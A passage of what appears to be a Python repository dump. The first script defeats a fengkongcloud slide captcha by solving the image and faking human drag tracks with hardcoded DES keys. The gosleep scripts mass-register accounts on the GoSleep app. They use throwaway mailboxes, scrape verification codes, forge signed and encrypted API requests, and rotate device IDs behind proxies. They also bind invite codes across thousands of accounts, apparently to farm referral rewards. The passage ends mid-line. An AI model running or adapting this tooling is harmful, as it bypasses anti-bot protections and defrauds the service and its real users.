total_time = [1020, 1234, 1106, 988, 1356, 1407] 78 | # 随机每步增长的时间大小 79 | stride_time = [101, 103, 106, 99, 97, 95] 80 | init_time = random.choice(init_times) 81 | time_list = [init_time] 82 | for i in range(num - 1): 83 | init_time += random.choice(stride_time) 84 | time_list.append(init_time) 85 | return time_list 86 | 87 | def get_tracks(self, dis): 88 | dis = round(dis) # 据观察,实际缺口的位置与滑动距离相差10 89 | x_list = self.get_x_list_new(dis) 90 | y_list = self.get_y_list(len(x_list)) 91 | time_list = self.get_time_list(len(x_list)) 92 | # traces = [[0,random.uniform(-5,0),0]] 93 | traces = [[0, random.uniform(-5, 5), 0]] 94 | for x, y, t in zip(x_list, y_list, time_list): 95 | traces.append([float(x)+random.uniform(-0.1, 0.1), float(y)+random.uniform(-0.1, 0.1), t]) 96 | # print(traces) 97 | return traces 98 | 99 | 100 | class newDES: 101 | def __init__(self, key): 102 | self.length = DES.block_size 103 | self.des = DES.new(key.encode("utf8"), DES.MODE_ECB) 104 | self.unpad = lambda date: date[0:-ord(date[-1])] 105 | 106 | def pad(self, text): 107 | count = len(text.encode('utf8')) 108 | add = self.length - (count % self.length) 109 | entext = text + ("\x00" * add) 110 | return entext 111 | 112 | def encrypt(self, encrData): 113 | res = self.des.encrypt(self.pad(encrData).encode("utf8")) 114 | msg = base64.b64encode(res).decode("utf8") 115 | return msg 116 | 117 | def decrypt(self, decrData): 118 | res = base64.b64decode(decrData) 119 | msg = self.des.decrypt(res).hex() 120 | return msg 121 | 122 | 123 | def get_ua(): 124 | first_num = random.randint(55, 62) 125 | third_num = random.randint(0, 3200) 126 | fourth_num = random.randint(0, 140) 127 | os_type = ['(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(Macintosh; Intel Mac OS X 10_15_3)', '(Macintosh; Intel Mac OS X 10_12_6)'] 128 | chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) 129 | ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']) 130 | return ua 131 | 132 | 133 | def randStr(code_len=18): 134 | a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' 135 | b = random.choices(a, k=code_len) 136 | c = "".join(_ for _ in b) 137 | return c 138 | 139 | 140 | def custom_time(timestamp): 141 | time_local = time.localtime(timestamp) 142 | dt = time.strftime("%Y%m%d%H%M%S", time_local) 143 | return dt 144 | 145 | 146 | def get_yz(): 147 | http = requests.Session() 148 | tt = int(time.time()*1000)-1000 149 | captchaUuid = custom_time(tt/1000)+randStr(18) 150 | 151 | res = json.loads(http.get(f'https://captcha.fengkongcloud.cn/ca/v1/register?sdkver=1.1.3&callback=sm_{tt}&captchaUuid={captchaUuid}'+'&organization=ajY4ydKuNWQLKHpxQSMk&appId=default&lang=zh-cn&model=slide&channel=DEFAULT&data={}&rversion=1.0.4', headers={"user-agent": get_ua()}).text[17:-1]) 152 | # print(res) 153 | rid, bgparam, fgparam, imghost = res["detail"]["rid"], res["detail"]["bg"], res["detail"]["fg"], res["detail"]["domains"][0] 154 | bgurl, fgurl = "https://" + imghost + bgparam, "https://" + imghost + fgparam 155 | # print(bgurl, fgurl) 156 | 157 | bgContent, fgContent = http.get(bgurl).content, http.get(fgurl).content 158 | 159 | x1 = slide.slide_match(fgContent, bgContent)["target"][0]/2 160 | tracks = huakuaiguiji.get_tracks(x1) 161 | ru_str = str(x1/312) 162 | tracks_str = str(tracks).replace(" ", "") 163 | 164 | data = { 165 | "ostype": "web", 166 | "oi": "O8O3pJUAULw=", 167 | "callback": f"sm_{int(time.time()*1000)}", 168 | "zp": "jBkoDR8Ee5c=", 169 | "id": "fYBOhvyWKpE=", 170 | "np": "Q9RGlYE66no=", 171 | "ug": "MFJ0S5cL4uM=", 172 | "organization": "ajY4ydKuNWQLKHpxQSMk", 173 | "pf": "TVOCUpnLT80=", 174 | "act.os": "web_mobile", 175 | "da": "eci+LZYfN9s=", 176 | "gl": "PukYNIBwXHM=", 177 | "protocol": "171", 178 | "le": "B/MnfSfbK1M=", 179 | "captchaUuid": captchaUuid, 180 | "sdkver": "1.1.3", 181 | "ru": ru.encrypt(ru_str), 182 | "rversion": "1.0.4", 183 | "fa": "sDJWdVcg6HE=", 184 | "rid": rid, 185 | "ep": ep.encrypt(tracks_str) 186 | } 187 | res = json.loads(http.get("https://captcha.fengkongcloud.cn/ca/v2/fverify", params=data, headers={"user-agent": get_ua()}).text[17:-1]) 188 | # print(res.text) 189 | http.close() 190 | print(rid, res["riskLevel"]) 191 | 192 | 193 | if __name__ == '__main__': 194 | slide = DdddOcr(det=False, ocr=False, show_ad=False) 195 | huakuaiguiji = HuaiKuaiGuiJi() 196 | ep = newDES("2838a287") 197 | ru = newDES("10abe72a") 198 | get_yz() 199 | -------------------------------------------------------------------------------- /gosleep/updateToken.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import binascii 3 | import hashlib 4 | import json 5 | import logging 6 | import random 7 | import re 8 | import threading 9 | import time 10 | import datetime 11 | 12 | import requests 13 | from Crypto.Cipher import AES 14 | logging.captureWarnings(True) 15 | 16 | _ck = requests.post("https://www.moakt.com/zh/inbox", allow_redirects=False).headers["Set-Cookie"] 17 | _header = {"cookie": _ck, "x-requested-with": "XMLHttpRequest"} 18 | 19 | 20 | def ec(func): 21 | def warp(*args): 22 | try: 23 | return func(*args) 24 | except BaseException: 25 | return warp(*args) 26 | return warp 27 | 28 | 29 | @ec 30 | def setEmail(email): 31 | data = { 32 | "username": email 33 | } 34 | res = requests.post("https://www.moakt.com/zh/inbox/change", data=data, headers=_header).text 35 | if "error" in res: 36 | print("该邮箱已被占用或已设置") 37 | return False 38 | else: 39 | print("设置邮箱成功") 40 | return True 41 | 42 | 43 | @ec 44 | def getCode(): 45 | # 获取邮件id 46 | res = requests.get("https://www.moakt.com/zh/inbox", headers=_header).text 47 | id = re.findall("\w{8}-\w{4}-\w{4}-\w{4}-\w{12}", res) 48 | # 没收到邮件重新获取 49 | if len(id) == 0: 50 | time.sleep(3) 51 | return getCode() 52 | else: 53 | # 收到根据id获取内容 54 | res = requests.get(f"https://www.moakt.com/zh/email/{id[0]}/content/", headers=_header).text 55 | # 寻找6位数验证码 56 | code = re.findall(re.compile("(\d{4})"), res)[1] 57 | print("获取到验证码 =>", code) 58 | return code 59 | 60 | 61 | class dyProxy: 62 | def __init__(self, orderno, secret): 63 | self.orderno = orderno 64 | self.secret = secret 65 | self.proxy = {"http": "http://dtan.xiongmaodaili.com:8088", "https": "http://dtan.xiongmaodaili.com:8088"} 66 | 67 | def getPA(self): 68 | timestamp = str(int(time.time())) 69 | sign = hashlib.md5(("orderno=" + self.orderno + "," + "secret=" + self.secret + "," + "timestamp=" + timestamp).encode()).hexdigest().upper() 70 | return "sign=" + sign + "&" + "orderno=" + self.orderno + "&" + "timestamp=" + timestamp + "&change=true" 71 | 72 | def post(self, url, data={}, headers={}): 73 | headers["Proxy-Authorization"] = self.getPA() 74 | res = requests.post(url, data=data, headers=headers, proxies=self.proxy, verify=False, timeout=10) 75 | return res 76 | 77 | 78 | class AESUtil(object): 79 | __BLOCK_SIZE_16 = BLOCK_SIZE_16 = AES.block_size 80 | 81 | def __init__(self, key, iv): 82 | self.key = key 83 | self.iv = iv 84 | 85 | def encryt(self, str): 86 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 87 | x = AESUtil.__BLOCK_SIZE_16 - (len(str) % AESUtil.__BLOCK_SIZE_16) 88 | if x != 0: 89 | str = str + chr(x)*x 90 | msg = cipher.encrypt(str.encode("utf8")) 91 | 92 | return msg 93 | 94 | def decrypt(self, decryptByts): 95 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 96 | msg = cipher.decrypt(decryptByts).decode() 97 | paddingLen = ord(msg[len(msg)-1]) 98 | return msg[0:-paddingLen] 99 | 100 | 101 | def md5(str): 102 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 103 | 104 | 105 | def randDevice_id(): 106 | ranstr = '0123456789abcde' 107 | returnStr = ''.join(random.choice(ranstr) for _ in range(16)) 108 | return returnStr 109 | 110 | 111 | def random09(lin): 112 | returnStr = '' 113 | for _ in range(lin): 114 | returnStr += str(random.randint(0, 9)) 115 | return returnStr 116 | 117 | 118 | def rand_email(code_len=8): 119 | e = ["@teml.net", "@tmpbox.net", "@moakt.cc", "@disbox.net", "@tmpmail.org", "@tmpmail.net", "@tmails.net", "@disbox.org", "@moakt.co", "@moakt.ws", "@tmail.ws", "@bareed.ws"] 120 | a = '0123456789abcdefghijklmnopqrstuvwxyz' 121 | b = random.choices(a, k=code_len) 122 | c = "".join(_ for _ in b) 123 | return c + random.choice(e) 124 | 125 | 126 | def getHeaders(tt, authorization="", uid="0"): 127 | headers = { 128 | "Accept-Language": "zh", 129 | "User-Agent": "Android", 130 | "equipment": "Xiaomi Mi 10 Pro 10", 131 | "authorization": authorization, 132 | "version": "202", 133 | "TIMESTAMP": tt, 134 | "UID": uid, 135 | "LANGUAGE": "HK" 136 | } 137 | return headers 138 | 139 | 140 | def getTime(): 141 | tt = int(time.time()) 142 | return str(tt), hex(tt)[2:].rjust(12, '0') 143 | 144 | 145 | def getInfo(res): 146 | lp = ["data", "datb", "datc", "datd", "date", "datg", "dath", "dati", "datj", "datk", "datl", "datm", "datn", "dato", "datp", "datq", "datr", "dats", "datt", "datu", "datv", "datw", "datx", "daty", "datz", "dat~", "dat1", "dat2", "dat3", "dat4", "dat5", "dat6", "dat7", "dat8", "dat9", "dat0", "dat-", "dat+", "dat_", "dat=", "dat)", "dat(", "dat^", "dat%", "dat#", "dat!", "dat.", "dat,", "dat>", "dat<", "dat|", "dat*", "dat/", "dat`"] 147 | for i in lp: 148 | if i in res: 149 | key_b64 = res[i]["access_01"] 150 | iv_b64 = res[i]["access_02"] 151 | email = res[i]["email"] 152 | authorization = res[i]["token"] 153 | uid = res[i]["uid"] 154 | print(key_b64, iv_b64, email, authorization, uid) 155 | return key_b64, iv_b64, email, authorization, uid 156 | 157 | 158 | def signup_email(device_id, email, code, inviteCode): 159 | tt, tt_hex = getTime() 160 | aes = AESUtil("/login_api/email".encode(), binascii.a2b_hex(f'{tt_hex}00000000000000000000')) 161 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"code":"'+code+'","email":"'+email+'"}&platform=10&time_zone=Asia/Shanghai&uid=0&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 162 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"code":"'+code+'","email":"'+email+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":0,"unity_version":0,"version":"2.0.2"}') 163 | res_content = requests.post("https://app.gosleep.pro/login_api/email_login", data=data, headers=getHeaders(tt)).content 164 | res = json.loads(aes.decrypt(res_content)) 165 | key_b64, iv_b64, email, authorization, uid = getInfo(res) 166 | open(f"./gosleep/{lll}.txt", "a").write(f"{email}|{uid}|{inviteCode}|{key_b64}|{iv_b64}|{device_id}|{authorization}\n") 167 | 168 | 169 | def signup_email_sendSms(device_id, email): 170 | tt, tt_hex = getTime() 171 | aes = AESUtil("/login_api/email".encode("utf8"), binascii.a2b_hex(f'{tt_hex}00000000000000000000')) 172 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"email":"'+email+'"}&platform=10&time_zone=Asia/Shanghai&uid=0&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 173 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"email":"'+email+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":0,"unity_version":0,"version":"2.0.2"}') 174 | res = requests.post("https://app.gosleep.pro/login_api/email_reg_code", data, headers=getHeaders(tt), stream=True).content 175 | print("sendSms", aes.decrypt(res)) 176 | 177 | 178 | @ec 179 | def main(email, device_id, inviteCode): 180 | status = setEmail(email) 181 | if status == False: 182 | return 183 | signup_email_sendSms(device_id, email) 184 | time.sleep(3) 185 | code = getCode() 186 | signup_email(device_id, email, code, inviteCode) 187 | 188 | 189 | zh_list = open("./gosleep/zh2.txt").read().split("\n") 190 | zh2 = open("./gosleep/zh2_new.txt").read() 191 | lll = "zh2_new2" 192 | ranges = range(0, 4563) 193 | for i in ranges: 194 | email, uid, inviteCode, key_b64, iv_b64, device_id, authorization = zh_list[i].split("|") 195 | if email in zh2: 196 | continue 197 | main(email, device_id, inviteCode) 198 | -------------------------------------------------------------------------------- /gosleep/selectInfo.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import binascii 3 | import hashlib 4 | import json 5 | import random 6 | import re 7 | import threading 8 | import time 9 | import datetime 10 | 11 | import requests 12 | from Crypto.Cipher import AES 13 | 14 | 15 | class AESUtil(object): 16 | __BLOCK_SIZE_16 = BLOCK_SIZE_16 = AES.block_size 17 | 18 | def __init__(self, key, iv): 19 | self.key = key 20 | self.iv = iv 21 | 22 | def encryt(self, str): 23 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 24 | x = AESUtil.__BLOCK_SIZE_16 - (len(str) % AESUtil.__BLOCK_SIZE_16) 25 | if x != 0: 26 | str = str + chr(x)*x 27 | msg = cipher.encrypt(str.encode("utf8")) 28 | 29 | return msg 30 | 31 | def decrypt(self, decryptByts): 32 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 33 | msg = cipher.decrypt(decryptByts).decode() 34 | paddingLen = ord(msg[len(msg)-1]) 35 | return msg[0:-paddingLen] 36 | 37 | 38 | def ec(func): 39 | def warp(*args): 40 | try: 41 | return func(*args) 42 | except BaseException: 43 | return warp(*args) 44 | return warp 45 | 46 | 47 | def md5(str): 48 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 49 | 50 | 51 | def randDevice_id(): 52 | ranstr = '0123456789abcde' 53 | returnStr = ''.join(random.choice(ranstr) for _ in range(16)) 54 | return returnStr 55 | 56 | 57 | def random09(lin): 58 | returnStr = '' 59 | for _ in range(lin): 60 | returnStr += str(random.randint(0, 9)) 61 | return returnStr 62 | 63 | 64 | def rand_email(code_len=8): 65 | e = ["@teml.net", "@tmpbox.net", "@moakt.cc", "@disbox.net", "@tmpmail.org", "@tmpmail.net", "@tmails.net", "@disbox.org", "@moakt.co", "@moakt.ws", "@tmail.ws", "@bareed.ws"] 66 | a = '0123456789abcdefghijklmnopqrstuvwxyz' 67 | b = random.choices(a, k=code_len) 68 | c = "".join(_ for _ in b) 69 | return c + random.choice(e) 70 | 71 | 72 | def getHeaders(tt, authorization="", uid="0"): 73 | headers = { 74 | "Accept-Language": "zh", 75 | "User-Agent": "Android", 76 | "equipment": "Xiaomi Mi 10 Pro 10", 77 | "authorization": authorization, 78 | "version": "202", 79 | "TIMESTAMP": tt, 80 | "UID": uid, 81 | "LANGUAGE": "HK" 82 | } 83 | return headers 84 | 85 | 86 | def getTime(): 87 | tt = int(time.time()) 88 | return str(tt), hex(tt)[2:].rjust(12, '0') 89 | 90 | 91 | def getInfo(res): 92 | lp = ["data", "datb", "datc", "datd", "date", "datg", "dath", "dati", "datj", "datk", "datl", "datm", "datn", "dato", "datp", "datq", "datr", "dats", "datt", "datu", "datv", "datw", "datx", "daty", "datz", "dat~", "dat1", "dat2", "dat3", "dat4", "dat5", "dat6", "dat7", "dat8", "dat9", "dat0", "dat-", "dat+", "dat_", "dat=", "dat)", "dat(", "dat^", "dat%", "dat#", "dat!", "dat.", "dat,", "dat>", "dat<", "dat|", "dat*", "dat/", "dat`"] 93 | for i in lp: 94 | if i in res: 95 | key_b64 = res[i]["access_01"] 96 | iv_b64 = res[i]["access_02"] 97 | email = res[i]["email"] 98 | authorization = res[i]["token"] 99 | uid = res[i]["uid"] 100 | print(key_b64, iv_b64, email, authorization, uid) 101 | return key_b64, iv_b64, email, authorization, uid 102 | 103 | 104 | def login_token(device_id, authorization, uid): 105 | tt, tt_hex = getTime() 106 | aes = AESUtil("/login_api/token".encode(), binascii.a2b_hex(f'{tt_hex}00000000000000000000')) 107 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"access_token":"'+authorization+'"}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 108 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"access_token":"'+authorization+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 109 | res_content = requests.post("https://app.gosleep.pro/login_api/token_login", data, headers=getHeaders(tt, authorization, uid), stream=True).content 110 | res = json.loads(aes.decrypt(res_content)) 111 | key_b64, iv_b64, email, authorization, uid = getInfo(res) 112 | return key_b64, iv_b64, email, authorization, uid 113 | 114 | 115 | def bind_invite_code(key, iv, device_id, authorization, uid, inviter_code): 116 | tt, tt_hex = getTime() 117 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 118 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"inviter_code":"'+inviter_code+'"}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 119 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"inviter_code":"'+inviter_code+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 120 | res = requests.post("https://app.gosleep.pro/invite_api/bind_invite_code", data, headers=getHeaders(tt, authorization, uid)).content 121 | print(aes.decrypt(res)) 122 | 123 | 124 | @ec 125 | def get_user_info(key, iv, device_id, authorization, uid): 126 | tt, tt_hex = getTime() 127 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 128 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 129 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 130 | res_content = requests.post("https://app.gosleep.pro/user_api/get_user_info", data, headers=getHeaders(tt, authorization, uid), stream=True).content 131 | res = json.loads(aes.decrypt(res_content)) 132 | invitation_code = res["data"]["invitation_code"] 133 | ntoken = res["data"]["ntoken"] 134 | print("get_user_info", uid, ntoken/10000,invitation_code) 135 | return invitation_code 136 | 137 | @ec 138 | def invite_info(key, iv, device_id, authorization, uid): 139 | tt, tt_hex = getTime() 140 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 141 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 142 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 143 | res_content = requests.post("https://app.gosleep.pro/invite_api/invite_info", data, headers=getHeaders(tt, authorization, uid), stream=True).content 144 | res = json.loads(aes.decrypt(res_content)) 145 | print("invite_info", uid,res) 146 | 147 | 148 | def main(i): 149 | email, uid,_, key_b64, iv_b64, device_id, authorization = zh_list[i].split("|") 150 | key, iv = base64.b64decode(key_b64).hex(), base64.b64decode(iv_b64).hex() 151 | invitation_code = get_user_info(key, iv, device_id, authorization, uid) 152 | # open(f"./gosleep/zh2.txt", "a").write(f"{email}|{uid}|{invitation_code}|{key_b64}|{iv_b64}|{device_id}|{authorization}\n") 153 | 154 | 155 | zh_list = open("./gosleep/zh2.txt").read().split("\n") 156 | ranges = range(0, 3) 157 | for i in ranges: 158 | print(f"------------------------------{i+1}------") 159 | threading.Thread(target=main, args=(i,)).start() 160 | time.sleep(1) 161 | 162 | # nftlist = nft_list(device_id, authorization, uid) 163 | # nft_used(device_id, authorization, uid, nftlist[0][0]) 164 | # login_token(device_id, authorization, uid) 165 | -------------------------------------------------------------------------------- /gosleep/inviteInfo.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import binascii 3 | import hashlib 4 | import json 5 | import random 6 | import re 7 | import threading 8 | import time 9 | import datetime 10 | 11 | import requests 12 | from Crypto.Cipher import AES 13 | 14 | 15 | class AESUtil(object): 16 | __BLOCK_SIZE_16 = BLOCK_SIZE_16 = AES.block_size 17 | 18 | def __init__(self, key, iv): 19 | self.key = key 20 | self.iv = iv 21 | 22 | def encryt(self, str): 23 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 24 | x = AESUtil.__BLOCK_SIZE_16 - (len(str) % AESUtil.__BLOCK_SIZE_16) 25 | if x != 0: 26 | str = str + chr(x)*x 27 | msg = cipher.encrypt(str.encode("utf8")) 28 | 29 | return msg 30 | 31 | def decrypt(self, decryptByts): 32 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 33 | msg = cipher.decrypt(decryptByts).decode() 34 | paddingLen = ord(msg[len(msg)-1]) 35 | return msg[0:-paddingLen] 36 | 37 | 38 | def ec(func): 39 | def warp(*args): 40 | try: 41 | return func(*args) 42 | except BaseException: 43 | return warp(*args) 44 | return warp 45 | 46 | 47 | def md5(str): 48 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 49 | 50 | 51 | def randDevice_id(): 52 | ranstr = '0123456789abcde' 53 | returnStr = ''.join(random.choice(ranstr) for _ in range(16)) 54 | return returnStr 55 | 56 | 57 | def random09(lin): 58 | returnStr = '' 59 | for _ in range(lin): 60 | returnStr += str(random.randint(0, 9)) 61 | return returnStr 62 | 63 | 64 | def rand_email(code_len=8): 65 | e = ["@teml.net", "@tmpbox.net", "@moakt.cc", "@disbox.net", "@tmpmail.org", "@tmpmail.net", "@tmails.net", "@disbox.org", "@moakt.co", "@moakt.ws", "@tmail.ws", "@bareed.ws"] 66 | a = '0123456789abcdefghijklmnopqrstuvwxyz' 67 | b = random.choices(a, k=code_len) 68 | c = "".join(_ for _ in b) 69 | return c + random.choice(e) 70 | 71 | 72 | def getHeaders(tt, authorization="", uid="0"): 73 | headers = { 74 | "Accept-Language": "zh", 75 | "User-Agent": "Android", 76 | "equipment": "Xiaomi Mi 10 Pro 10", 77 | "authorization": authorization, 78 | "version": "202", 79 | "TIMESTAMP": tt, 80 | "UID": uid, 81 | "LANGUAGE": "HK" 82 | } 83 | return headers 84 | 85 | 86 | def getTime(): 87 | tt = int(time.time()) 88 | return str(tt), hex(tt)[2:].rjust(12, '0') 89 | 90 | 91 | def getInfo(res): 92 | lp = ["data", "datb", "datc", "datd", "date", "datg", "dath", "dati", "datj", "datk", "datl", "datm", "datn", "dato", "datp", "datq", "datr", "dats", "datt", "datu", "datv", "datw", "datx", "daty", "datz", "dat~", "dat1", "dat2", "dat3", "dat4", "dat5", "dat6", "dat7", "dat8", "dat9", "dat0", "dat-", "dat+", "dat_", "dat=", "dat)", "dat(", "dat^", "dat%", "dat#", "dat!", "dat.", "dat,", "dat>", "dat<", "dat|", "dat*", "dat/", "dat`"] 93 | for i in lp: 94 | if i in res: 95 | key_b64 = res[i]["access_01"] 96 | iv_b64 = res[i]["access_02"] 97 | email = res[i]["email"] 98 | authorization = res[i]["token"] 99 | uid = res[i]["uid"] 100 | print(key_b64, iv_b64, email, authorization, uid) 101 | return key_b64, iv_b64, email, authorization, uid 102 | 103 | 104 | def login_token(device_id, authorization, uid): 105 | tt, tt_hex = getTime() 106 | aes = AESUtil("/login_api/token".encode(), binascii.a2b_hex(f'{tt_hex}00000000000000000000')) 107 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"access_token":"'+authorization+'"}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 108 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"access_token":"'+authorization+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 109 | res_content = requests.post("https://app.gosleep.pro/login_api/token_login", data, headers=getHeaders(tt, authorization, uid), stream=True).content 110 | res = json.loads(aes.decrypt(res_content)) 111 | key_b64, iv_b64, email, authorization, uid = getInfo(res) 112 | return key_b64, iv_b64, email, authorization, uid 113 | 114 | 115 | def bind_invite_code(key, iv, device_id, authorization, uid, inviter_code): 116 | tt, tt_hex = getTime() 117 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 118 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"inviter_code":"'+inviter_code+'"}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 119 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"inviter_code":"'+inviter_code+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 120 | res = requests.post("https://app.gosleep.pro/invite_api/bind_invite_code", data, headers=getHeaders(tt, authorization, uid)).content 121 | print(aes.decrypt(res)) 122 | 123 | 124 | @ec 125 | def get_user_info(key, iv, device_id, authorization, uid): 126 | tt, tt_hex = getTime() 127 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 128 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 129 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 130 | res_content = requests.post("https://app.gosleep.pro/user_api/get_user_info", data, headers=getHeaders(tt, authorization, uid), stream=True).content 131 | res = json.loads(aes.decrypt(res_content)) 132 | invitation_code = res["data"]["invitation_code"] 133 | ntoken = res["data"]["ntoken"] 134 | print("get_user_info", uid, ntoken/10000, invitation_code) 135 | return invitation_code 136 | 137 | 138 | @ec 139 | def invite_info(key, iv, device_id, authorization, uid): 140 | tt, tt_hex = getTime() 141 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 142 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 143 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 144 | res_content = requests.post("https://app.gosleep.pro/invite_api/invite_info", data, headers=getHeaders(tt, authorization, uid), stream=True).content 145 | res = json.loads(aes.decrypt(res_content)) 146 | reward_subordinate_count = res["data"]["reward_subordinate_count"] 147 | subordinate_count = res["data"]["subordinate_count"] 148 | invitee_code = res["data"]["invitee_code"] 149 | print("invite_info", uid, invitee_code, reward_subordinate_count, "/", subordinate_count) 150 | 151 | 152 | def main(i): 153 | email, uid, invite_code, key_b64, iv_b64, device_id, authorization = zh_list[i].split("|") 154 | key, iv = base64.b64decode(key_b64).hex(), 